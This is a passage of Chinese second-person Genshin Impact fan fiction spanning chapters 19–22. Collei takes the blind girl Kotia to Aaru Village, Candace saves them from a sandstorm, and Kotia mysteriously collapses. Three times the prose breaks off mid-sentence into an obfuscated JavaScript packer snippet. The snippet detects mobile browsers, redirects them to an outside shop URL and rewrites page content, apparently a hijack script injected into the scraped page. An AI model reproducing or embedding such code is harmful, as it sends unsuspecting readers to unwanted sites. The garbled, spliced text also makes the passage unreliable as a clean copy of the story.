可能孩子长大了就会有这样的烦恼吧,这位自己也没有多大的提纳里师父叉腰,但是鸟儿注定飞向天空。 他要做的一直都是让她们健康长大,无论是过去还是未来。 * 就这样,你被提纳里交给了柯莱姐姐,并且即将和柯莱姐姐组成二人小队前往沙漠探险。 你没有明白事情是怎样风驰电掣在短短时间内发酵成现在这样的,不过也还可以,就当是出去逛逛好了,毕竟你要是考上了梨多梵谛学院的话也要自己去找观测点的。你说服了自己。 于是,在问过需不需要帮忙联系镀金旅团护送你们去阿如村并得到拒绝的提纳里就此与你们分道扬镳。 要和提纳里分别之前,你拉了拉提纳里的衣角示意他把头凑过来:“提纳里,我在你的房间给你留了礼物哦。”你原本是想你们回去之后给提纳里一个惊喜的,现在嘛,你别别扭扭地想,就当是提纳里要一个人回家的安慰好了。 来参加柯莱的毕业典礼之前,你往提纳里和柯莱的房间里都放了礼物。 ……说起来要往提纳里的房间里放礼物还有点难呢,你还是走之前说自己忘了东西没拿才折返回去摸到他房间里的。 虽然之后被提纳里点了一顿说你丢三落四的,但是你把礼物放到了他的桌子上,绝对超级显眼。如果有尾巴的话,你此时一定高高地翘起了尾巴。 - 听到你说的话,提纳里特意揉乱了你的头发才走,留下一个愤怒的你,还有在身前帮你打理头发的柯莱。 “好啦,现在的发型已经重新梳好了哦。现在,我们该出发了。”已经毕业的柯莱展现出和提纳里如出一辙的稳重,尽管拒绝了提纳里师父的好意,柯莱也一定会让你们平安到达阿如村的。 哪怕赌上她的性命,长大的绿发少女平静地想,腰侧挂着的绿色的草元素神之眼如宝石般熠熠发光。 你不会知道你面前的柯莱姐姐在想什么,这时的你还没有见过血色浸染世界的景象。也许柯莱也从来没打算让你见到这种模样吧?如果那个时刻一定要到来,柯莱希望能晚一点、再晚一点,晚到你已经能够坦然接受世界上的不如意与分别为止。 * 柯莱联系上了一支曾在道成林受到过巡林员帮助的、将要把物资从须弥城运到阿如村的商队,付了一笔摩拉做路费后带着珂缇娅从善如流地加入了他们。 19.须弥篇-19 很明显地能够感觉到,周围的空气在逐渐变得干燥。 你牵着柯莱的手紧了紧,这一刻的你才开始有点明白“沙漠”究竟是一个怎样的概念。 不是简单的书本里说的“须弥中与雨林接壤的地方”,而是黄沙飞舞的、风呼啸而过的无边旷野。是脚下同样流动的沙,走路的时候会比平时更加费力,鞋子一不小心就会变得沉甸甸的。 略微抬起头颅让柯莱姐姐用布条掩住你的口鼻,你呛咳了几声没有说话,脸不自觉地皱成一团。如果有下次一起出去玩的机会的话,你一定不要再来沙漠了。 你好像拖了柯莱姐姐的后腿。 - 虽然平时有锻炼,但是来到沙漠后珂缇娅迅速地蔫了下去。柯莱心疼地亲了亲珂缇娅的脸颊以作安抚,有那么一瞬间,柯莱怀疑自己要把珂缇娅带来的决定是不是正确的?没有接触过沙漠的人中有的被它的辽阔震撼,有的为它的粗犷倾倒,但也有无数的人埋葬于此,尸体被流沙吞没,又随着风的吹拂露出皑皑的白骨,直到最后白骨也被沙化,成为这沙漠的一员。 柯莱可以保证她一定会带着珂缇娅平安回到化城郭,可是她也同样希望珂缇娅能有一段愉快的旅程。原谅她吧,珂缇娅,绿发少女轻柔的吻落在垂下眼眸扁嘴的黑发女孩的额头上,她还是希望珂缇娅能够去往更多的地方,即便什么都看不见也不能成为珂缇娅领略更多风景的阻碍。 哪怕看不见,来到沙漠的珂缇娅也会明白沙漠是什么样的,干燥的风、流动的沙,还有更多更多的,是珂缇娅无法通过“阅读”感受到的。就算这次的沙漠之旅让珂缇娅觉得很糟糕不想再去沙漠也没关系,她们还可以去潜枫丹的海、去爬璃月的山。 她们还有很多的时间可以逐一认识这个世界。 所以,就算现在因为要照顾珂缇娅而离开商队也可以。回想起商队领头人对自己露出为难的神情,说他们得加快步伐、不然就不能按时送到货了而一旁的珂缇娅拉着她的衣角小声说想下去缓一缓的时候,柯莱选择了抱着珂缇娅离开,好不耽误商队的进度。没关系,起码现在已经到沙漠了,柯莱不是没有来过阿如村,她认得路。 就是……如果路上遇到坏人的话,她可能会给他们一个痛快的死法?啊,暂时失去行动能力也可以。 离开商队的时候,柯莱把边角锋利的飞叶轮放到了腰间,一旦遇到变故,她可以随时取用。 * 不知走了多久,你感觉自己的腿都快不是自己的了。 ……好累,还是要加强锻炼才行,你暗暗地想,把自己早上的训练量又加了点。“我们快到了,现在已经在阿如村的附近了。”你听到柯莱的声音响起:“说走就走的旅行难免会有规划不够周全的状况呢。”说着,柯莱自我调侃了一番,想让你轻松一点。 你没有听清柯莱说的话,只是停下了脚步,带着柯莱也一并停了下来。 风声逐渐变得越来越大。 呼啸的风、咆哮的风、怒吼的风。沙漠的天一下子暗沉下来,仿佛对你们揭开了死亡沙漠之名的一角。 沙漠中说稀罕也常见、说常见也稀罕的气象,沙尘暴,它来了。 - 被卷起的黄沙拍打在你的脸上、身上,带来如刀割似火燎的痛觉。你抬起手往脸上一抹,流血了吗,还是眼睛被无孔不入的沙子逼出的眼泪? 紧了紧一直没有松开的柯莱的手,你大喊出声,虽然声音因为绑在口鼻上的布条而变得闷闷的:“柯莱姐姐——我们跑吧——” 你好像听到柯莱的喘气声,又好像听到了什么的碰撞声或打击声。 你感受到柯莱一把将你单手抱了起来:“要冲啦——”近距离的你感受到柯莱说话时胸腔的震动,是在紧张吗? 没关系,就算没能离开、就算要葬身在这突如其来的突如其来的恶劣天气中,你依恋地把耳朵贴到柯莱身上,听她强而有力的心跳。没关系、没关系,你会心怀感激地死去的。 很高兴能遇见你们,很高兴能和你们成为家人。你在柯莱的怀里蹭了蹭,随后闭上了双眼。 * 她们会平安的,柯莱如此相信着。 要庆幸珂缇娅没有办法看到眼前这幅仿佛世界末日的景象吗?柯莱扬了扬唇角,又很快恢复成一条直线。 飞叶轮太小了,不够用,柯莱反手抽出自己的弓箭,以弓身抽开袭来的一个颅骨,由于一只手要抱着珂缇娅,柯莱只能用单手来应付被风暴卷起的四散的硬物。 天乌压压的一片,黄沙似模糊了天与地的界线,卷起的风暴如同巨大的绞肉机,柯莱看着一只沙狐“嘤嘤”叫着、扒在植物上的爪子很用力,却没有让它逃脱被卷入沙尘暴的命运,“刺啦”一声,只留下一地血花,又被尘沙掠过,不留痕迹。想要离开,路上又有很多涌动的沙。 来不及感到灰心或丧气,怀里似睡着的女孩让柯莱必须找到能抵达阿如村的路。抬起眼眸,阿如村就在不远处,短短的一段路却不知道要走上多久。 一个分神,又或是因为体力已经消耗了不少,柯莱眼睁睁地看着裹了砂石的风滚草团向她的怀中飞来,想要抬起手再度将其拨开,身体却像灌了铅一样沉重。 珂缇娅,绝对不会被砸到的,柯莱偏过身子,用肩膀挡住了怀中熟睡的女孩。 即便是这样的情形,想到珂缇娅仍能安心地睡去,柯莱的心里就有一种甜蜜的喜悦。 “嗡——”关键时刻,横空飞来的一根长枪击开了风滚草团。柯莱抬眼望去,映入眼帘的是一位碧蓝色长发蜜色皮肤的女人,她穿着干练的服装,手上还举着一枚盾牌:“柯莱!你带着怀里的孩子先去阿如村吧,我会保护你们的!” 柯莱认得她,这位女人是阿如村的守护者,坎蒂丝。传说任何想要进犯阿如村的人都会被阿如村制裁,即便是过路人也不会在阿如村的附近遭遇危险。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15968519|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且,坎蒂丝和柯莱与提纳里一样,都有着神之眼。 神之眼,一块宝石般的配饰,同样是元素力驱动的外置器官。在提瓦特大陆上,传闻人们的愿望打动了神明的话便会得到神明的瞥视,进而得到无法摧毁的神之眼。 有神之眼的人,大多坚定不移地走在自己的道路上,贯彻自己的理想。是意志超乎旁人的坚韧的人。 - 坎蒂丝原本在阿如村里招待着前来运送物资的商队,看到远处的天暗了下来,正感慨最近是沙尘暴多发的季节,就见面前的商队负责人脸色一下子变得务必糟糕:“……柯莱和珂缇娅还在外面呢……”柯莱和珂缇娅,两个熟悉的名字。不说这是两个对阿如村没有恶意的人,单就是柯莱提前跟她预约了时间来研究如何让枣椰和赤念果增产的,坎蒂丝也不会让她们在这里出事。虽然这提前也就是两三天前来的信、并且也只是说最近会来而没有指明是哪一天吧。坎蒂丝无奈。 如果知情的话她一定会前去迎接的。更别说那位道成林的巡林官也帮了阿如村不少忙。 从商队负责人口中问出柯莱和珂缇娅所在的方位后,坎蒂丝拿起自己的武器就出发了。 阿如村就是坐落于沙漠中的村落,沙尘暴的凶险坎蒂丝是再知道不过的。柯莱也才成年没多久吧?还有一个小孩子。 但即便这样她也会把她们平安无损地带回来的。就像她守护阿如村的安宁一样,坎蒂丝这样想到。 这就是她的守护之志啊。 * 在坎蒂丝的帮助下,柯莱和珂缇娅成功地来到了阿如村,珂缇娅还是没有醒来。 到了借住的房子里,坎蒂丝问起为什么没告诉她准确的时间让她去接人时,柯莱显得有些不好意思:“嗯……因为我这次带了珂缇娅来嘛。能提供一个落脚点已经很感谢了 。”这时的柯莱看起来又还带着过去那个腼腆少女的影子。 坎蒂丝没再说什么,只是看着柯莱说完后把目光继续投射在睡着的小女孩身上,为她拂去尘土擦拭脸庞,伸手探上女孩的额头发出安心的声音:“还好还好,没有发热~” 柯莱一定很喜欢那个名叫“珂缇娅”的孩子吧。坎蒂丝想,所以进屋后先打理小女孩而不是给自己止血,她的目光掠过柯莱还在滴着血的手臂,又掠过被保护得很好没有受到丝毫伤害的珂缇娅,留下绷带与纱布就无声地把空间还给了两人。 为了守护自己所珍视的,再怎么小心都不为过。这个道理坎蒂丝从来都知道。 - 你醒了过来。 嗯……还活着?你有些不解地歪了歪头,就嗅到空气中弥漫的血腥味。是柯莱姐姐受了伤吗?!你一下子变得很紧张。 “柯莱姐姐?你还好吗?!”你呼唤着柯莱,声音里带着你自己也没察觉的颤抖。你无法想象失去柯莱姐姐和提纳里的生活。 对你而言,他们早就是你人生不可分割的一部分了。 20.须弥篇-20 “我在这里,别担心。”你听到柯莱姐姐的声音响起,随后便是你被她搂进怀里轻柔地拍打后背安慰:“没事哦,我的伤口已经包扎过了,只是沾了血的衣服还没洗而已。” 柯莱姐姐的声音很平稳,听上去确实没有大碍。你在她温暖的怀里拱了拱,发出闷闷的声音:“柯莱姐姐先休息一下吧。”你知道柯莱没有提前离开是怕你醒了找不到人,她不想你以为自己被抛下了,也不想让你着急,所以宁愿在一旁边包扎边等你醒来。 可是你也是会心疼她的。 尽管在沙漠里遇到沙尘暴的时候你忽然觉得很困、眼皮来回打架想要硬撑着最后还是睡着了,但你不是不知道要把睡着的你带出沙漠柯莱姐姐花费了多大的心思。 就像柯莱姐姐希望你平平安安的一样,你同样希望她能诸事顺遂。你不希望柯莱为了你而硬撑着,不希望柯莱不在意她自己的感受。 可能是过去的你在相遇的时候就让柯莱姐姐觉得你很需要照顾吧,你有些低落地想,所以直到现在也还没有改掉这种印象。 不过没关系,你已经十二岁了,你已经参加了教令院的考试,如果顺利的话你会进入梨多梵谛学院学习,你会一点一点地长大,然后把柯莱姐姐和提纳里都护在身后。 在这之前,再怎么说自己可以照顾好自己、自己可以反过来照顾他们都不会被当真,言语有时显得太过苍白无力,你会用自己的行动去证明。 你们还有很多时间呢。 * 在柯莱弯起眼眸享受珂缇娅对自己的关心和怀里暖烘烘的像小太阳一样温暖的躯体时,她们的房门被敲响了。 “我做了点阿如拌饭,两位先吃点垫垫肚子吧。”坎蒂丝手上端着两大碟饭,朝开门的珂缇娅微微一笑,又与柯莱对视。 “哐”的一声,两大碟金黄色的用料十足的阿如拌饭被放到桌上,在阿如村守护者虽然声音温和、脸上带笑仍无法掩去的气势中,柯莱和珂缇娅都乖乖地拿起勺子吃饭。 - 好、好吃! 勺子刚送进嘴里,你瞪大了圆溜溜的眼睛,明明没有放油荤,明明没有放你喜欢的肉,只是酱汁浇在饭上就能够这么好吃的吗?!吃着就会觉得暖暖的很安心,为什么会这样呢? 你小小的脑袋陷入了思考,思考得出的结果是……提纳里没有跟你们一起来,没有吃到这么好吃的饭,好像挺可惜的。或者要走的时候给他打包一份?你摸了摸自己身上的摩拉,骄傲地扬起脑袋。 坎蒂丝和柯莱看着你吃着吃着饭就扬起脑袋一副小得意表情的模样,不由柔和了眉眼:啊呀,才十二岁,还是个孩子呢。 眼睛看不见的你自然是不会知道自己的表情全都被别人看在眼里的,你只是吃着美味的饭,继续吃着美味的饭,吃到怀疑人生。 为什么呢?你感觉自己吃了好多好多了,可是勺子伸到盘子里就总是还能勺起饭,你承认这饭是很美味,但你的肚子已经饱了。你垮下脸,可如果你不吃的话就会很浪费。 浪费很不好,浪费食物更加不好。虽然你每次吃不下的时候柯莱都不会说什么,不过你知道柯莱会心疼被浪费的食物。你听提纳里讲过柯莱身上发生的事情,被抓去做实验的肚子都填不饱的时候,那个小柯莱一定很不好受。在那之后你吃东西都会先掂量一下分量,避免自己吃不完的情况。 宁可少食多餐每一餐都吃得干干净净,也不要一次性点很多吃得肚子圆鼓鼓的还剩很多没吃。 * 珂缇娅最后还是慢慢地一点一点吃完了她的那份阿如拌饭。 看着吃饱了有点犯困的珂缇娅,柯莱轻笑着摸了摸小女孩的脑袋,墨色的发丝在她的指尖穿行:“珂缇娅,你觉得阿如拌饭的味道怎么样?” 坎蒂丝毕竟是阿如村的守护者,之前还撂下商队来护送柯莱和珂缇娅,把她们接到阿如村后还给她们做了阿如拌饭,现在又忙着去和商队洽谈或处理村里的其他事宜了。 柯莱觉得坎蒂丝和自己的师父提纳里是一类人,都是为一方百姓带来安宁的人,都有着自己想要保护的地方。对提纳里来说是化城郭和道成林,对坎蒂丝来说则是阿如村。都是很了不起的人。 正因为坎蒂丝不在、又见珂缇娅好像很喜欢阿如拌饭的样子,柯莱在思考要不要去向坎蒂丝问来阿如拌饭的配方。至于柯莱自己?她之前吃过阿如拌饭,味道很不错,很有沙漠的地方特色,但也就这样了,柯莱对食物没有太大的偏好,只要味道不是非常糟糕的食物柯莱都喜欢。 不过珂缇娅喜欢的话倒是可以考虑。 这样想着的柯莱听到了珂缇娅揉着眼睛的回答:“唔……好吃……想带回去给提纳里吃……”柯莱对这个回答一愣,原来是这样想的吗? 原来是这样想的啊。柯莱弯了弯眼睛,既然珂缇娅觉得好吃,那走的时候就向坎蒂丝请教一下配方好了。至于提纳里是进了沙漠会蔫下去而不是没来过沙漠,也就意味着提纳里不是没吃过阿如拌饭?这不重要。 可能和朋友一起吃过阿如拌饭或者自己在某些场合尝过了?嗯……这可是孩子在外面吃到好吃的所以也想着带回来给亲近的人分享的哦。提纳里师父,你是一定不会辜负孩子的这番心意的,对吧。 柯莱愉快地替自己的师父做了决定。 * 你醒了、不对,准确来说你根本没睡。 你只是困了,这和睡着了是完全不一样的!你可是还记得柯莱姐姐来这里是有正事做的,不是单纯来玩的。 “柯莱姐姐要好好工作噢。”你抬起头认真地对目光温柔地注视着你的柯莱说,得到了对方“是、是。”的好脾气回应。 临走之前,柯莱去商队那里拿回了你的行李,里面放着你的占星学课本和一些故事书;还为你拿来了几个枣椰和赤念果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15977519|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好让你饿了也能吃点水果。随后,这位绿发少女拿着自己的行李急匆匆地走掉了。 你摇摇头,果然还是耽误了自己的行程吧。 不知道为什么,可能是一开始已经担心或自责过了?现在的你逐渐习以为常,还能从柯莱联想到自己身上,警示自己之后要是进入了教令院,一定要好好规划时间,这样才能忙里偷闲挤出时间回去探望提纳里和柯莱姐姐。 一时之间,能不能收到梨多梵谛学院录取通知书尚且是个未知数的你心有戚戚然。 - 周围重新变得安静下来。虽然是沙漠,但又回到了你熟悉的在房间里独处的环节。不得不说,经历过那场沙尘暴之后的这种生活还是挺让人怀念的。 接下来就看书吃水果好了。你轻巧地定下了自己的行程安排。 伸出手从桌上的盘子中拿起一个枣椰,刚采摘下来的绿色果子很大,一个果子足足有你的两个手掌那么大。你拨开坚硬的果皮,闻到甘甜的气息。咬一口,果肉绵密,你不由眯起了眼眸。汁水不算很多,但是是很独特的味道。 除去一开始遇到的沙尘暴,你开始觉得这段旅途也不是很糟糕。你遇到了好心的坎蒂丝姐姐,她给你们端来了好吃的饭!虽然你差点没吃完吧……还有沙漠中的一见人来就窜走的据说皮毛也已经和黄沙同色的小狐狸,你听到了它们弹射跑走的脚步声。现在还有枣椰和赤念果。你之前其实也有吃过赤念果啦,也很好吃!虽然那次吃的可能没有现在吃的这么新鲜就是了。 这就是沙漠啊。 它可能没有想象中的那么美好,但也没有以为的那么糟糕。它确实黄沙飞舞没有雨林参天大树,它也确实很干燥。可是也有阿如村在这里,有很多人在这里,有沙狐和一种名叫“圣金虫”的虫子在这里。 对他们来说,沙漠就是他们的家。 沙漠中会有沙尘暴之类的恶劣天气,雨林中也会有暴雨天,一般来说由于有很多树确实不会刮起沙漠般穿堂而过的风,但能切切实实地体会到什么叫“暴雨如注”。 住在化城郭的六年间,你经历过两次很大很大的暴雨。雨水“噼里啪啦”地拍打在窗户上,你几乎以为是有人在拿石头砸窗户。被吓到的你去找提纳里,说话都不利索了还要配合手指的比比划划,跟提纳里说有人在砸你的窗。结果吓得喵喵叫的你被告知只是在下雨……你的记忆非常深刻。 处于生态考虑,道成林的路是人踩踏出来的路,不是由砖瓦或水泥搭建的。通常来说,一般的雨不会造成什么影响,虽然下雨频繁,可雨林的蒸腾作用同样很强大,当天下午或是第二天基本就没什么水迹了。但是遇到了大暴雨的话……巡林员的工作一下子就多了起来。 提纳里也会一连好几天都忙得脚不沾地的。 就算这样,你还是很喜欢化城郭和道成林,你还是很喜欢雨林。因为对你来说,这就是你的家。 21.须弥篇-21 吃完果子后,你开始“看”起书来。 倒不是你对沙漠的一切不好奇,只是……你想起了时常来化城郭找提纳里聊天的赛诺神情认真说出来的一段话。 ——为什么须弥的雨林里有很多洞呢?因为它有多动(洞)症。 尽管提纳里听到赛诺说的这段话之后人都麻了,还叮嘱你不要学这个,但你觉得提纳里的反应很有趣,于是把这个提纳里认为只有冷的冷笑话记到了现在。 在须弥的这些年,你的一个很大的感受就是:不要乱走。因为你真的不能保证迈开脚后脚尖接触到的是实地还是空气:) 除此之外还有很多的坡。15度的坡轻轻松松,75度的坡迎难而上,105度的坡你就上吧,一上一个不吱声。 这也是你选择乖乖待在房间里的原因。虽然努力想要表现得像个正常人一样,但在这种地方还是很没办法呢。 好在你对此已经释怀的差不多了。你的眼睛确实看不见,这就是事实。无论你有多么懊悔,哪怕你歇斯底里地想问一句为什么,空气中不会传来回答。你的视野已经随着你的父母一并离去。 ……虽然有时去到陌生的地方还是会紧张,这也是没有办法的嘛!你就是做不到把什么都握在手里啦!所以难免会遇到挫折,只是没必要再害怕了。 正如提纳里对你说的那样,名为“人生”的课题不必急于一时,你们有足够的时间去完成。 * 柯莱这次来阿如村的目的很简单。 一方面确实是手上有个相关的课题需要实地考察,不过这个课题其实是合作性课题,现在也已经进行到尾声。柯莱需要做的就是核验数据是否与之前预期的一致,如果不一致则则记录目标值与实际值并提出造成该差异的假想。总体来说不算很难。另一方面则是单纯地想要带珂缇娅出来玩。 嗯,假如珂缇娅通过了这次梨多梵谛学院的考试、成为了一名明论派的学子,那么珂缇娅就要投入到忙碌的教令院学习生活中——当然,以珂缇娅智慧与刻苦来说,柯莱认为珂缇娅通过入学考试是必然的;没通过的话那一定是教令院的问题——简而言之,珂缇娅很快就没时间跟她出来玩了。 这最后一点空闲时间一定要好好把握才行,柯莱如是想到,她记得自己上次来阿如村的时候似乎看到附近有条河,要不干脆带珂缇娅去钓鱼? 想到那个安静的黑发小女孩,想到她漆黑的澄澈眼眸,想到她以前还肉嘟嘟现在却随着年龄增长而消减的婴儿肥,想到要是去钓鱼一定也会全神贯注显得超级可爱的珂缇娅,柯莱的心变得无比柔软。 决定了,她要加强锻炼,除了要好好守护化城郭和道成林之外,等到珂缇娅五六十岁了她还要能把珂缇娅稳稳地抱起来—— 柯莱,肉眼可见地燃了起来。 - 你在房间里静静地看书,为进入教令院后能顺利跟上课程进度做着准备。至于到时候要上哪些课、走哪里的教室、坐哪里的座位这些你越想越焦虑的涉及人际交往的事情,通通都不要再思考了,越思考只会越焦虑…… 姑且、还是,相信一下“车到山前必有路”这种说法吧。 不过关于明论派的理论知识倒是可以多看一看。 无论有没有进入梨多梵谛学院,你相信自己总有一天能从头顶的这片天空找到属于你的那颗星星。 在那颗星星的旁边,会有属于爸爸妈妈的星星和柯莱姐姐与提纳里他们的星星吗? 你正思考着关于星空的信息,忽然听见你的门被敲响了。 是柯莱姐姐忙完回来了吗?你想。 从桌前站起,你来到门口打开门,只听到了风声。 奇怪,你明明感觉到有人的,难道是你感觉错了?你脸上露出疑惑的神情,向着左右两边探头,好像没什么动静,可能确实是你感觉错了吧。 * 如果有人看到眼前的这一幕,也许会感到震悚。 一个蜜色皮肤的男人站在门前没有躲避,他的身体和小女孩探出的脑袋只有一拳之隔。看着小女孩无神的双眼,男人带着伤疤的脸上勾起一个笑容。那是看到猎物的笑容。 这里是阿如村,会有坎蒂丝这样为了村子能更好的发展而鞠躬尽瘁的人,会有在被坎蒂丝等人的保护下努力生活的人,同样会有安于被保护甚至抱怨条件不够好的人。 如果不是因为坎蒂丝不允许阿如村周围出现恶劣事件的话,男人一定会去抢劫这些从雨林过来的大肥羊。别说什么他这样会让村子的名声变差会让村子难做之类的话,他只知道不抢的话村子也许能捞到好处,但他能拿到手的只有空气或者就那么一点,远远不够!而他抢了的话,那就全是他的了。全部,包括物资和人。 ……可惜,坎蒂丝很敏锐,被她发现了的话她一定拿着长枪往他身上戳几个窟窿甚至把他赶出村子。到时连村子分的房子和每个月的份例都没了。 所以,他这次只是想来偷点东西,最好能让他买上几瓶好酒;没打算伤人。 使用了一些沙漠里的手段避过人的感知,看着珂缇娅没有聚焦的眼睛男人几乎想笑:哈,这是什么送上门的猎物吗?就她这样,被卖了也分辨不出是谁卖了她吧。想到这里,男人的眼中闪过遗憾。 偷东西勉强还说得过去,被发现顶多是赔偿和干活;真的干这种买卖坎蒂丝可绝对不会轻饶。 男人看着珂缇娅的目光就像在看自己错过的一大笔摩拉。 就在这时,不远处传来不轻不重的足音。男人一下子被吓走了,跑得影都没有一个。 * 你听到了熟悉的脚步声,在你刚醒的时候你也听到过这样的声音。 人与人的脚步声是有区别的。轻重缓急、重心高低、频率快慢,都自带着一种特别的韵律。你就很喜欢提纳里的足音,如同青叶在疾风中掠过草地,一跃而过的轻盈。柯莱的足音平时不紧不慢,和你在一起时总有种轻快的稳重感,你也很喜欢。 “珂缇娅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15983949|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是想出来透透气吗?”是坎蒂丝。 “其实只是听到有点动静,所以就出来看看啦。不过没发现什么,可能只是风声吧。”你不在意地回应。 “没事出来走走也挺好的。”坎蒂丝对你笑笑,尽管你看不到她嘴角扬起的弧度,却能从她的声音里听出她对你的善意:“对了,你今晚想吃什么?”物资匮乏的沙漠里生存的人要表达善意就这么直接,或者说,还有东西吃就代表了多一分活下去的可能吧。 “可以的话……想吃肉?我都可以,不挑的。”你乖巧地回答,没有肉的话,中午那样的阿如拌饭也很棒!就是如果晚上还吃阿如拌饭的话,你一定要在一开始就少装一点。 中午吃到撑了还要慢慢磨的经历一次就好。 “喜欢吃肉?好的,我会准备的。那么我先去忙了,如果遇到什么事情的话可以叫我。”说着坎蒂丝向你告别。 坎蒂丝姐姐人真的挺好的。你站在原地等坎蒂丝的脚步声一点点远离直至消失才转身回到房间里,关上了房门继续“看”书。 下一个回来的应该就是柯莱姐姐了吧。 - 另一边,你以为的温柔姐姐循着痕迹一步一步地走到男人所在的地方,端庄的脸庞上左金右蓝的眼睛里闪过平静的怒意,该清理杂碎了。 总有人认为坎蒂丝只会守护,但他们忘了守护也需要武力和……决心。为了守护之物而扫平一切的决心。 * 柯莱收集完数据,特意绕到之前见过的河流处,看着里面不时浮到水面汲取氧气的鱼儿,她扬起了嘴角。珂缇娅一定会高兴的。 当珂缇娅开心的时候,那双已然失去神采的眼睛仿佛也会变得亮晶晶的能够照亮周围的黑暗。柯莱很乐意并且由衷地希望自己能够看到这双眼睛盛满喜悦。 脚步轻快的柯莱在房门前恰好遇到端着一盘秘香肉团的坎蒂丝,那盘秘香肉团一眼望去大约有五六个,每个都包得很实在,足足有拳头那么大,还散发着热腾腾的白气,独特的香味弥漫,一看就很有食欲。 两人打了个招呼,想起中午的珂缇娅吃到最后愁眉苦脸的小模样不由笑起来。当时怕把珂缇娅撑坏了,她们还一人抛出话题吸引珂缇娅的主意,一人从珂缇娅的盘子中挖走多余的饭,只留下一点点。今晚的是肉团,一个个的,应该出现中午那样的情况了吧。两人的眼中对珂缇娅的促狭一闪而过。 咳咳,在珂缇娅的面前,她们可都是“温柔姐姐”噢。 敲开门,坎蒂丝把秘香肉团放到桌上,刚想向珂缇娅介绍秘香肉团中的肉是来自于沙漠中独有的一种飞蛇,就听到身后传来一阵惊呼。 - 你等到了柯莱姐姐。好像还有坎蒂丝姐姐?空气中有一股好香好香的味道。你开了门转过身想要回到桌旁收拾自己的书,忽然感觉一阵天旋地转。 “珂缇娅?!”你从来没听过柯莱姐姐那么惊慌的声音。 …… 意识归于黑暗。 22.须弥篇-22 黑发小女孩没有醒来,仿佛陷入了漫长的睡眠。 为什么只是一个转身就看到珂缇娅倒了下去?刚好在旁边接住了珂缇娅的柯莱想不明白。 如今的珂缇娅像是叫不醒的睡美人,柯莱的心都要碎了。 只是一次普通的沙漠出游,明明连沙尘暴都没能让她们出事,为什么现在会这样?某一个瞬间,柯莱甚至怨恨起了自己——如果自己没有提出要来阿如村度假,珂缇娅是不是就不会是现在这样了? 柯莱知道自己这只是没来由的迁怒,没有证据能够表明珂缇娅待在化城郭就不会出现这种情况。可她要如何冷静下来?除了刚把珂缇娅带回化城郭的时候柯莱和珂缇娅好好地相处了一段时间,之后便因为柯莱还要去教令院继续自己的学业她们总是聚少离多,现在好不容易毕业了有点空闲时间想多陪陪珂缇娅就发生了这样的事情。 那是珂缇娅啊,纵然聚少离多,也还是那个她看着从小豆丁一点一点长成现在这个模样的孩子啊。 她才十二岁,不出意外的话会有着充满无限可能的未来,现在却像是人生被突然按下了终止键。 看着被自己放到床上的小女孩,神情恬淡得似乎在做一个美梦,然而骤然苍白的脸色预示着这不只是在做梦。她看起来就像是即将枯萎的花朵,花瓣随着时间的流逝闭合在一起,美丽又憔悴。 - 好歹跟着提纳里师父学习过,之后又去了教令院的阿弥利多学院求学,柯莱或多或少还是会一些医术的。 在珂缇娅刚倒下的时候,柯莱就给她检查过了身体。身体上没有伤口,身体里却像是在接受着一场突如其来的灾难,最直接的表现是珂缇娅的呼吸与心跳都变得无比微弱。 附在骨骼上的肌肉一下子软绵绵的失去了弹性,像面条一样,柯莱都疑心珂缇娅身上的肉会不会一不小心就会断裂被捣碎。 类似这样的情况,柯莱只在道成林中的将死之人身上见到过。一般来说是跑去偷猎长鬓虎幼崽的家伙,被暴怒的长鬓虎一个猛扑按在爪下,内脏都被拍得四分五裂。巡林员不可能每时每刻都监测到道成林里的动静,等到赶过去时人已经走了有一会儿了。 发现活着的偷猎者,巡林员会把他们送进监狱;发现断了气的偷猎者,巡林员也会把他们的尸体处理掉。 那些尸体,放了一段时间后就会变得出奇的软,再过一段时间才是人们常知的僵硬。 那种柔软的程度,就像现在的珂缇娅一样。 * 桌上的秘香肉团已经凉掉,柯莱和坎蒂丝都来不及管它。 “我让阿如村的医生来看看吧。”坎蒂丝率先打破了珂缇娅倒下后的寂静。 在检查中发现珂缇娅体内的器官也都在衰弱而陷入焦虑的柯莱像是一下子被惊醒,这个自己也刚成年没多久的少女听到坎蒂丝的话语,表现得出奇冷静:“那就麻烦你了。如果看不出问题的话也没关系,我会回去让提纳里师父再看看的。” 说到这里,坎蒂丝去找阿如村的医生,柯莱则是伏在桌上开始写信。 第一封信是给提纳里师父的,信中完整无缺地记录了她们一路上的经历,接着说明珂缇娅现在的情况与表现,最后让提纳里师父做好准备,她们很快就会回到化城郭,到时候就麻烦他了。 